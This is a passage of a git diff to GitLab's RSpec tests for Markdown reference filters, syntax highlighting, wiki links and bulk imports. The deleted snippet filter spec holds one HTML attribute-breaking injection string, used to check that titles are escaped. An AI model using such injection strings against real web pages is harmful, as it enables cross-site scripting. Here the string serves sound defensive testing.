+ project.add_developer(user)
+ doc = reference_filter(reference, author: user)
+
+ expect(doc.css('a').first.attr('data-author')).to eq(user.id.to_s)
+ end
+
+ it 'does not include a data-author attribute when there is no author' do
+ doc = reference_filter(reference)
+
+ expect(doc.css('a').first.has_attribute?('data-author')).to eq(false)
+ end
+
+ it 'ignores reference to all when the user is not a project member' do
+ doc = reference_filter("Hey #{reference}", author: user)
+
+ expect(doc.css('a').length).to eq 0
+ end
+ end
+
+ context 'mentioning a group' do
+ let(:reference) { group.to_reference }
+ let(:group) { create(:group) }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'links to the Group' do
+ doc = reference_filter("Hey #{reference}")
+ expect(doc.css('a').first.attr('href')).to eq urls.group_url(group)
+ end
+
+ it 'includes a data-group attribute' do
+ doc = reference_filter("Hey #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-group')
+ expect(link.attr('data-group')).to eq group.id.to_s
+ end
+ end
+
+ context 'mentioning a nested group' do
+ let(:reference) { group.to_reference }
+ let(:group) { create(:group, :nested) }
+
+ it_behaves_like 'a reference containing an element node'
+
+ it 'links to the nested group' do
+ doc = reference_filter("Hey #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls.group_url(group)
+ end
+
+ it 'has the full group name as a title' do
+ doc = reference_filter("Hey #{reference}")
+
+ expect(doc.css('a').first.attr('title')).to eq group.full_name
+ end
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Mention me (#{reference}.)")
+ expect(doc.to_html).to match(%r{\(<a.+>#{reference}</a>\.\)})
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Hey #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-project_member js-user-link'
+ end
+
+ context 'when a project is not specified' do
+ let(:project) { nil }
+
+ it 'does not link a User' do
+ doc = reference_filter("Hey #{reference}")
+
+ expect(doc).not_to include('a')
+ end
+
+ context 'when skip_project_check set to true' do
+ it 'links to a User' do
+ doc = reference_filter("Hey #{reference}", skip_project_check: true)
+
+ expect(doc.css('a').first.attr('href')).to eq urls.user_url(user)
+ end
+
+ it 'does not link users using @all reference' do
+ doc = reference_filter("Hey #{User.reference_prefix}all", skip_project_check: true)
+
+ expect(doc).not_to include('a')
+ end
+ end
+ end
+
+ context 'in group context' do
+ let(:group) { create(:group) }
+ let(:group_member) { create(:user) }
+
+ before do
+ group.add_developer(group_member)
+ end
+
+ let(:context) { { author: group_member, project: nil, group: group } }
+
+ it 'supports a special @all mention' do
+ reference = User.reference_prefix + 'all'
+ doc = reference_filter("Hey #{reference}", context)
+
+ expect(doc.css('a').length).to eq(1)
+ expect(doc.css('a').first.attr('href')).to eq urls.group_url(group)
+ end
+
+ it 'supports mentioning a single user' do
+ reference = get_reference(group_member)
+ doc = reference_filter("Hey #{reference}", context)
+
+ expect(doc.css('a').first.attr('href')).to eq urls.user_url(group_member)
+ end
+
+ it 'supports mentioning a group' do
+ reference = group.to_reference
+ doc = reference_filter("Hey #{reference}", context)
+
+ expect(doc.css('a').first.attr('href')).to eq urls.user_url(group)
+ end
+ end
+
+ describe '#namespaces' do
+ it 'returns a Hash containing all Namespaces' do
+ document = Nokogiri::HTML.fragment("<p>#{get_reference(user)}</p>")
+ filter = described_class.new(document, project: project)
+ ns = user.namespace
+
+ expect(filter.namespaces).to eq({ ns.path => ns })
+ end
+ end
+
+ describe '#usernames' do
+ it 'returns the usernames mentioned in a document' do
+ document = Nokogiri::HTML.fragment("<p>#{get_reference(user)}</p>")
+ filter = described_class.new(document, project: project)
+
+ expect(filter.usernames).to eq([user.username])
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/snippet_reference_filter_spec.rb b/spec/lib/banzai/filter/snippet_reference_filter_spec.rb
deleted file mode 100644
index f23fbc5be88..00000000000
--- a/spec/lib/banzai/filter/snippet_reference_filter_spec.rb
+++ /dev/null
@@ -1,222 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::SnippetReferenceFilter do
- include FilterSpecHelper
-
- let(:project) { create(:project, :public) }
- let(:snippet) { create(:project_snippet, project: project) }
- let(:reference) { snippet.to_reference }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Snippet #{reference}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'internal reference' do
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_snippet_url(project, snippet)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Snippet (#{reference}.)")
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
- end
-
- it 'ignores invalid snippet IDs' do
- exp = act = "Snippet #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'includes a title attribute' do
- doc = reference_filter("Snippet #{reference}")
- expect(doc.css('a').first.attr('title')).to eq snippet.title
- end
-
- it 'escapes the title attribute' do
- snippet.update_attribute(:title, %{"></a>whatever<a title="})
-
- doc = reference_filter("Snippet #{reference}")
- expect(doc.text).to eq "Snippet #{reference}"
- end
-
- it 'includes default classes' do
- doc = reference_filter("Snippet #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-snippet has-tooltip'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Snippet #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-snippet attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-snippet')
- expect(link.attr('data-snippet')).to eq snippet.id.to_s
- end
-
- it 'supports an :only_path context' do
- doc = reference_filter("Snippet #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq urls.project_snippet_url(project, snippet, only_path: true)
- end
- end
-
- context 'cross-project / cross-namespace complete reference' do
- let(:namespace) { create(:namespace) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let!(:snippet) { create(:project_snippet, project: project2) }
- let(:reference) { "#{project2.full_path}$#{snippet.id}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_snippet_url(project2, snippet)
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql(reference)
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text).to eql("See (#{reference}.)")
- end
-
- it 'ignores invalid snippet IDs on the referenced project' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project / same-namespace complete reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let!(:snippet) { create(:project_snippet, project: project2) }
- let(:reference) { "#{project2.full_path}$#{snippet.id}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_snippet_url(project2, snippet)
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}$#{snippet.id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
-
- expect(doc.text).to eql("See (#{project2.path}$#{snippet.id}.)")
- end
-
- it 'ignores invalid snippet IDs on the referenced project' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project shorthand reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let!(:snippet) { create(:project_snippet, project: project2) }
- let(:reference) { "#{project2.path}$#{snippet.id}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_snippet_url(project2, snippet)
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}$#{snippet.id}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{project2.path}$#{snippet.id}.)")
-
- expect(doc.text).to eql("See (#{project2.path}$#{snippet.id}.)")
- end
-
- it 'ignores invalid snippet IDs on the referenced project' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project URL reference' do
- let(:namespace) { create(:namespace, name: 'cross-reference') }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:snippet) { create(:project_snippet, project: project2) }
- let(:reference) { urls.project_snippet_url(project2, snippet) }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_snippet_url(project2, snippet)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("See (#{reference}.)")
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(snippet.to_reference(project))}</a>\.\)})
- end
-
- it 'ignores invalid snippet IDs on the referenced project' do
- act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
- end
- end
-
- context 'group context' do
- it 'links to a valid reference' do
- reference = "#{project.full_path}$#{snippet.id}"
-
- result = reference_filter("See #{reference}", { project: nil, group: create(:group) } )
-
- expect(result.css('a').first.attr('href')).to eq(urls.project_snippet_url(project, snippet))
- end
-
- it 'ignores internal references' do
- exp = act = "See $#{snippet.id}"
-
- expect(reference_filter(act, project: nil, group: create(:group)).to_html).to eq exp
- end
- end
-end
diff --git a/spec/lib/banzai/filter/suggestion_filter_spec.rb b/spec/lib/banzai/filter/suggestion_filter_spec.rb
index 7d6092e21e9..d74bac4898e 100644
--- a/spec/lib/banzai/filter/suggestion_filter_spec.rb
+++ b/spec/lib/banzai/filter/suggestion_filter_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Banzai::Filter::SuggestionFilter do
include FilterSpecHelper
- let(:input) { %(<pre class="code highlight js-syntax-highlight suggestion"><code>foo\n</code></pre>) }
+ let(:input) { %(<pre class="code highlight js-syntax-highlight language-suggestion"><code>foo\n</code></pre>) }
let(:default_context) do
{ suggestions_filter_enabled: true }
end
@@ -26,7 +26,7 @@ RSpec.describe Banzai::Filter::SuggestionFilter do
context 'multi-line suggestions' do
let(:data_attr) { Banzai::Filter::SyntaxHighlightFilter::LANG_PARAMS_ATTR }
- let(:input) { %(<pre class="code highlight js-syntax-highlight suggestion" #{data_attr}="-3+2"><code>foo\n</code></pre>) }
+ let(:input) { %(<pre class="code highlight js-syntax-highlight language-suggestion" #{data_attr}="-3+2"><code>foo\n</code></pre>) }
it 'element has correct data-lang-params' do
doc = filter(input, default_context)
diff --git a/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb b/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb
index 78f84ee44f7..16e30604c99 100644
--- a/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb
+++ b/spec/lib/banzai/filter/syntax_highlight_filter_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "highlights as plaintext" do
result = filter('<pre><code>def fun end</code></pre>')
- expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">def fun end</span></code></pre>')
+ expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">def fun end</span></code></pre>')
end
include_examples "XSS prevention", ""
@@ -38,7 +38,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "highlights as that language" do
result = filter('<pre><code lang="ruby">def fun end</code></pre>')
- expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight ruby" lang="ruby" v-pre="true"><code><span id="LC1" class="line" lang="ruby"><span class="k">def</span> <span class="nf">fun</span> <span class="k">end</span></span></code></pre>')
+ expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight language-ruby" lang="ruby" v-pre="true"><code><span id="LC1" class="line" lang="ruby"><span class="k">def</span> <span class="nf">fun</span> <span class="k">end</span></span></code></pre>')
end
include_examples "XSS prevention", "ruby"
@@ -48,7 +48,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "highlights as plaintext" do
result = filter('<pre><code lang="gnuplot">This is a test</code></pre>')
- expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">This is a test</span></code></pre>')
+ expect(result.to_html).to eq('<pre class="code highlight js-syntax-highlight language-plaintext" lang="plaintext" v-pre="true"><code><span id="LC1" class="line" lang="plaintext">This is a test</span></code></pre>')
end
include_examples "XSS prevention", "gnuplot"
@@ -63,7 +63,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "highlights as plaintext but with the correct language attribute and class" do
result = filter(%{<pre><code lang="#{lang}">This is a test</code></pre>})
- expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight #{lang}" lang="#{lang}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
+ expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
end
include_examples "XSS prevention", lang
@@ -75,7 +75,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "includes data-lang-params tag with extra information" do
result = filter(%{<pre><code lang="#{lang}#{delimiter}#{lang_params}">This is a test</code></pre>})
- expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight #{lang}" lang="#{lang}" #{data_attr}="#{lang_params}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
+ expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params}" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
end
include_examples "XSS prevention", lang
@@ -93,7 +93,7 @@ RSpec.describe Banzai::Filter::SyntaxHighlightFilter do
it "delimits on the first appearance" do
result = filter(%{<pre><code lang="#{lang}#{delimiter}#{lang_params}#{delimiter}more-things">This is a test</code></pre>})
- expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight #{lang}" lang="#{lang}" #{data_attr}="#{lang_params}#{delimiter}more-things" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
+ expect(result.to_html).to eq(%{<pre class="code highlight js-syntax-highlight language-#{lang}" lang="#{lang}" #{data_attr}="#{lang_params}#{delimiter}more-things" v-pre="true"><code><span id="LC1" class="line" lang="#{lang}">This is a test</span></code></pre>})
end
end
end
diff --git a/spec/lib/banzai/filter/upload_link_filter_spec.rb b/spec/lib/banzai/filter/upload_link_filter_spec.rb
index 0f8c773c68d..9ca499be665 100644
--- a/spec/lib/banzai/filter/upload_link_filter_spec.rb
+++ b/spec/lib/banzai/filter/upload_link_filter_spec.rb
@@ -35,6 +35,7 @@ RSpec.describe Banzai::Filter::UploadLinkFilter do
let_it_be(:project) { create(:project, :public) }
let_it_be(:user) { create(:user) }
+
let(:group) { nil }
let(:project_path) { project.full_path }
let(:only_path) { true }
@@ -114,6 +115,7 @@ RSpec.describe Banzai::Filter::UploadLinkFilter do
context 'to a group upload' do
let(:upload_link) { link('/uploads/e90decf88d8f96fe9e1389afc2e4a91f/test.jpg') }
let_it_be(:group) { create(:group) }
+
let(:project) { nil }
let(:relative_path) { "/groups/#{group.full_path}/-/uploads/e90decf88d8f96fe9e1389afc2e4a91f/test.jpg" }
diff --git a/spec/lib/banzai/filter/user_reference_filter_spec.rb b/spec/lib/banzai/filter/user_reference_filter_spec.rb
deleted file mode 100644
index b8baccf6658..00000000000
--- a/spec/lib/banzai/filter/user_reference_filter_spec.rb
+++ /dev/null
@@ -1,204 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::UserReferenceFilter do
- include FilterSpecHelper
-
- def get_reference(user)
- user.to_reference
- end
-
- let(:project) { create(:project, :public) }
- let(:user) { create(:user) }
- subject { user }
-
- let(:subject_name) { "user" }
- let(:reference) { get_reference(user) }
-
- it_behaves_like 'user reference or project reference'
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- it 'ignores invalid users' do
- exp = act = "Hey #{invalidate_reference(reference)}"
- expect(reference_filter(act).to_html).to eq(exp)
- end
-
- it 'ignores references with text before the @ sign' do
- exp = act = "Hey foo#{reference}"
- expect(reference_filter(act).to_html).to eq(exp)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Hey #{reference}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'mentioning @all' do
- let(:reference) { User.reference_prefix + 'all' }
-
- it_behaves_like 'a reference containing an element node'
-
- before do
- project.add_developer(project.creator)
- end
-
- it 'supports a special @all mention' do
- project.add_developer(user)
- doc = reference_filter("Hey #{reference}", author: user)
-
- expect(doc.css('a').length).to eq 1
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_url(project)
- end
-
- it 'includes a data-author attribute when there is an author' do
- project.add_developer(user)
- doc = reference_filter(reference, author: user)
-
- expect(doc.css('a').first.attr('data-author')).to eq(user.id.to_s)
- end
-
- it 'does not include a data-author attribute when there is no author' do
- doc = reference_filter(reference)
-
- expect(doc.css('a').first.has_attribute?('data-author')).to eq(false)
- end
-
- it 'ignores reference to all when the user is not a project member' do
- doc = reference_filter("Hey #{reference}", author: user)
-
- expect(doc.css('a').length).to eq 0
- end
- end
-
- context 'mentioning a group' do
- let(:reference) { group.to_reference }
- let(:group) { create(:group) }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'links to the Group' do
- doc = reference_filter("Hey #{reference}")
- expect(doc.css('a').first.attr('href')).to eq urls.group_url(group)
- end
-
- it 'includes a data-group attribute' do
- doc = reference_filter("Hey #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-group')
- expect(link.attr('data-group')).to eq group.id.to_s
- end
- end
-
- context 'mentioning a nested group' do
- let(:reference) { group.to_reference }
- let(:group) { create(:group, :nested) }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'links to the nested group' do
- doc = reference_filter("Hey #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.group_url(group)
- end
-
- it 'has the full group name as a title' do
- doc = reference_filter("Hey #{reference}")
-
- expect(doc.css('a').first.attr('title')).to eq group.full_name
- end
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Mention me (#{reference}.)")
- expect(doc.to_html).to match(%r{\(<a.+>#{reference}</a>\.\)})
- end
-
- it 'includes default classes' do
- doc = reference_filter("Hey #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-project_member js-user-link'
- end
-
- context 'when a project is not specified' do
- let(:project) { nil }
-
- it 'does not link a User' do
- doc = reference_filter("Hey #{reference}")
-
- expect(doc).not_to include('a')
- end
-
- context 'when skip_project_check set to true' do
- it 'links to a User' do
- doc = reference_filter("Hey #{reference}", skip_project_check: true)
-
- expect(doc.css('a').first.attr('href')).to eq urls.user_url(user)
- end
-
- it 'does not link users using @all reference' do
- doc = reference_filter("Hey #{User.reference_prefix}all", skip_project_check: true)
-
- expect(doc).not_to include('a')
- end
- end
- end
-
- context 'in group context' do
- let(:group) { create(:group) }
- let(:group_member) { create(:user) }
-
- before do
- group.add_developer(group_member)
- end
-
- let(:context) { { author: group_member, project: nil, group: group } }
-
- it 'supports a special @all mention' do
- reference = User.reference_prefix + 'all'
- doc = reference_filter("Hey #{reference}", context)
-
- expect(doc.css('a').length).to eq(1)
- expect(doc.css('a').first.attr('href')).to eq urls.group_url(group)
- end
-
- it 'supports mentioning a single user' do
- reference = get_reference(group_member)
- doc = reference_filter("Hey #{reference}", context)
-
- expect(doc.css('a').first.attr('href')).to eq urls.user_url(group_member)
- end
-
- it 'supports mentioning a group' do
- reference = group.to_reference
- doc = reference_filter("Hey #{reference}", context)
-
- expect(doc.css('a').first.attr('href')).to eq urls.user_url(group)
- end
- end
-
- describe '#namespaces' do
- it 'returns a Hash containing all Namespaces' do
- document = Nokogiri::HTML.fragment("<p>#{get_reference(user)}</p>")
- filter = described_class.new(document, project: project)
- ns = user.namespace
-
- expect(filter.namespaces).to eq({ ns.path => ns })
- end
- end
-
- describe '#usernames' do
- it 'returns the usernames mentioned in a document' do
- document = Nokogiri::HTML.fragment("<p>#{get_reference(user)}</p>")
- filter = described_class.new(document, project: project)
-
- expect(filter.usernames).to eq([user.username])
- end
- end
-end
diff --git a/spec/lib/banzai/filter/wiki_link_filter_spec.rb b/spec/lib/banzai/filter/wiki_link_filter_spec.rb
index d1f6ee49260..b5b5349946b 100644
--- a/spec/lib/banzai/filter/wiki_link_filter_spec.rb
+++ b/spec/lib/banzai/filter/wiki_link_filter_spec.rb
@@ -22,6 +22,15 @@ RSpec.describe Banzai::Filter::WikiLinkFilter do
expect(filtered_link.attribute('href').value).to eq('/uploads/a.test')
end
+ describe 'when links point to the relative wiki path' do
+ it 'does not rewrite links' do
+ path = "#{wiki.wiki_base_path}/#{repository_upload_folder}/a.jpg"
+ filtered_link = filter("<a href='#{path}'>Link</a>", wiki: wiki, page_slug: 'home').children[0]
+
+ expect(filtered_link.attribute('href').value).to eq(path)
+ end
+ end
+
describe "when links point to the #{Wikis::CreateAttachmentService::ATTACHMENT_PATH} folder" do
context 'with an "a" html tag' do
it 'rewrites links' do
diff --git a/spec/lib/banzai/pipeline/gfm_pipeline_spec.rb b/spec/lib/banzai/pipeline/gfm_pipeline_spec.rb
index 31047b9494a..e24177a7043 100644
--- a/spec/lib/banzai/pipeline/gfm_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/gfm_pipeline_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe Banzai::Pipeline::GfmPipeline do
issue = create(:issue, project: project)
markdown = "text #{issue.to_reference(project, full: true)}"
- expect_any_instance_of(Banzai::Filter::ReferenceFilter).to receive(:each_node).once
+ expect_any_instance_of(Banzai::Filter::References::ReferenceFilter).to receive(:each_node).once
described_class.call(markdown, project: project)
end
@@ -145,6 +145,7 @@ RSpec.describe Banzai::Pipeline::GfmPipeline do
describe 'emoji in references' do
let_it_be(:project) { create(:project, :public) }
+
let(:emoji) { '💯' }
it 'renders a label reference with emoji inside' do
diff --git a/spec/lib/banzai/pipeline/wiki_pipeline_spec.rb b/spec/lib/banzai/pipeline/wiki_pipeline_spec.rb
index b102de24041..007d310247b 100644
--- a/spec/lib/banzai/pipeline/wiki_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/wiki_pipeline_spec.rb
@@ -289,4 +289,29 @@ RSpec.describe Banzai::Pipeline::WikiPipeline do
expect(output).to include('<audio src="/wiki_link_ns/wiki_link_project/-/wikis/nested/twice/audio%20file%20name.wav"')
end
end
+
+ describe 'gollum tag filters' do
+ context 'when local image file exists' do
+ it 'sets the proper attributes for the image' do
+ gollum_file_double = double('Gollum::File',
+ mime_type: 'image/jpeg',
+ name: 'images/image.jpg',
+ path: 'images/image.jpg',
+ data: '')
+
+ wiki_file = Gitlab::Git::WikiFile.new(gollum_file_double)
+ markdown = "[[#{wiki_file.path}]]"
+
+ expect(wiki).to receive(:find_file).with(wiki_file.path, load_content: false).and_return(wiki_file)
+
+ output = described_class.to_html(markdown, project: project, wiki: wiki, page_slug: page.slug)
+ doc = Nokogiri::HTML::DocumentFragment.parse(output)
+
+ full_path = "/wiki_link_ns/wiki_link_project/-/wikis/nested/twice/#{wiki_file.path}"
+ expect(doc.css('a')[0].attr('href')).to eq(full_path)
+ expect(doc.css('img')[0].attr('class')).to eq('gfm lazy')
+ expect(doc.css('img')[0].attr('data-src')).to eq(full_path)
+ end
+ end
+ end
end
diff --git a/spec/lib/banzai/reference_parser/external_issue_parser_spec.rb b/spec/lib/banzai/reference_parser/external_issue_parser_spec.rb
index 5f92eb42e74..0c1b98e5ec3 100644
--- a/spec/lib/banzai/reference_parser/external_issue_parser_spec.rb
+++ b/spec/lib/banzai/reference_parser/external_issue_parser_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Banzai::ReferenceParser::ExternalIssueParser do
levels.each do |level|
it "creates reference when the feature is #{level}" do
- project.project_feature.update(issues_access_level: level)
+ project.project_feature.update!(issues_access_level: level)
visible_nodes = subject.nodes_visible_to_user(user, [link])
diff --git a/spec/lib/banzai/reference_redactor_spec.rb b/spec/lib/banzai/reference_redactor_spec.rb
index 668e427cfa2..78cceedd0e5 100644
--- a/spec/lib/banzai/reference_redactor_spec.rb
+++ b/spec/lib/banzai/reference_redactor_spec.rb
@@ -64,7 +64,7 @@ RSpec.describe Banzai::ReferenceRedactor do
let(:redactor) { described_class.new(Banzai::RenderContext.new(project, user)) }
before do
- project.update(pending_delete: true)
+ project.update!(pending_delete: true)
end
it 'redacts an issue attached' do
diff --git a/spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb b/spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb
new file mode 100644
index 00000000000..721dacbe3f4
--- /dev/null
+++ b/spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::Common::Extractors::RestExtractor do
+ let(:http_client) { instance_double(BulkImports::Clients::Http) }
+ let(:options) { { query: double(to_h: { resource: nil, query: nil }) } }
+ let(:response) { double(parsed_response: { 'data' => { 'foo' => 'bar' } }, headers: { 'x-next-page' => '2' }) }
+
+ subject { described_class.new(options) }
+
+ describe '#extract' do
+ before do
+ allow(subject).to receive(:http_client).and_return(http_client)
+ allow(http_client).to receive(:get).and_return(response)
+ end
+
+ it 'returns instance of ExtractedData' do
+ entity = create(:bulk_import_entity)
+ tracker = create(:bulk_import_tracker, entity: entity)
+ context = BulkImports::Pipeline::Context.new(tracker)
+
+ extracted_data = subject.extract(context)
+
+ expect(extracted_data).to be_instance_of(BulkImports::Pipeline::ExtractedData)
+ expect(extracted_data.data).to contain_exactly(response.parsed_response)
+ expect(extracted_data.next_page).to eq(response.headers['x-next-page'])
+ expect(extracted_data.has_next_page?).to eq(true)
+ end
+ end
+end
diff --git a/spec/lib/bulk_imports/common/transformers/user_reference_transformer_spec.rb b/spec/lib/bulk_imports/common/transformers/user_reference_transformer_spec.rb
index ff11a10bfe9..ba74c173794 100644
--- a/spec/lib/bulk_imports/common/transformers/user_reference_transformer_spec.rb
+++ b/spec/lib/bulk_imports/common/transformers/user_reference_transformer_spec.rb
@@ -8,7 +8,8 @@ RSpec.describe BulkImports::Common::Transformers::UserReferenceTransformer do
let_it_be(:group) { create(:group) }
let_it_be(:bulk_import) { create(:bulk_import) }
let_it_be(:entity) { create(:bulk_import_entity, bulk_import: bulk_import, group: group) }
- let_it_be(:context) { BulkImports::Pipeline::Context.new(entity) }
+ let_it_be(:tracker) { create(:bulk_import_tracker, entity: entity) }
+ let_it_be(:context) { BulkImports::Pipeline::Context.new(tracker) }
let(:hash) do
{
@@ -51,19 +52,26 @@ RSpec.describe BulkImports::Common::Transformers::UserReferenceTransformer do
end
context 'when custom reference is provided' do
- it 'updates provided reference' do
- hash = {
- 'author' => {
- 'public_email' => user.email
+ shared_examples 'updates provided reference' do |reference|
+ let(:hash) do
+ {
+ 'author' => {
+ 'public_email' => user.email
+ }
}
- }
+ end
- transformer = described_class.new(reference: 'author')
- result = transformer.transform(context, hash)
+ it 'updates provided reference' do
+ transformer = described_class.new(reference: reference)
+ result = transformer.transform(context, hash)
- expect(result['author']).to be_nil
- expect(result['author_id']).to eq(user.id)
+ expect(result['author']).to be_nil
+ expect(result['author_id']).to eq(user.id)
+ end
end
+
+ include_examples 'updates provided reference', 'author'
+ include_examples 'updates provided reference', :author
end
end
end
diff --git a/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb b/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb
index 627247c04ab..ac8786440e9 100644
--- a/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb
+++ b/spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb
@@ -8,8 +8,9 @@ RSpec.describe BulkImports::Groups::Extractors::SubgroupsExtractor do
bulk_import = create(:bulk_import)
create(:bulk_import_configuration, bulk_import: bulk_import)
entity = create(:bulk_import_entity, bulk_import: bulk_import)
+ tracker = create(:bulk_import_tracker, entity: entity)
response = [{ 'test' => 'group' }]
- context = BulkImports::Pipeline::Context.new(entity)
+ context = BulkImports::Pipeline::Context.new(tracker)
allow_next_instance_of(BulkImports::Clients::Http) do |client|
allow(client).to receive(:each_page).and_return(response)
diff --git a/spec/lib/bulk_imports/groups/graphql/get_group_query_spec.rb b/spec/lib/bulk_imports/groups/graphql/get_group_query_spec.rb
index ef46da7062b..b0f8f74783b 100644
--- a/spec/lib/bulk_imports/groups/graphql/get_group_query_spec.rb
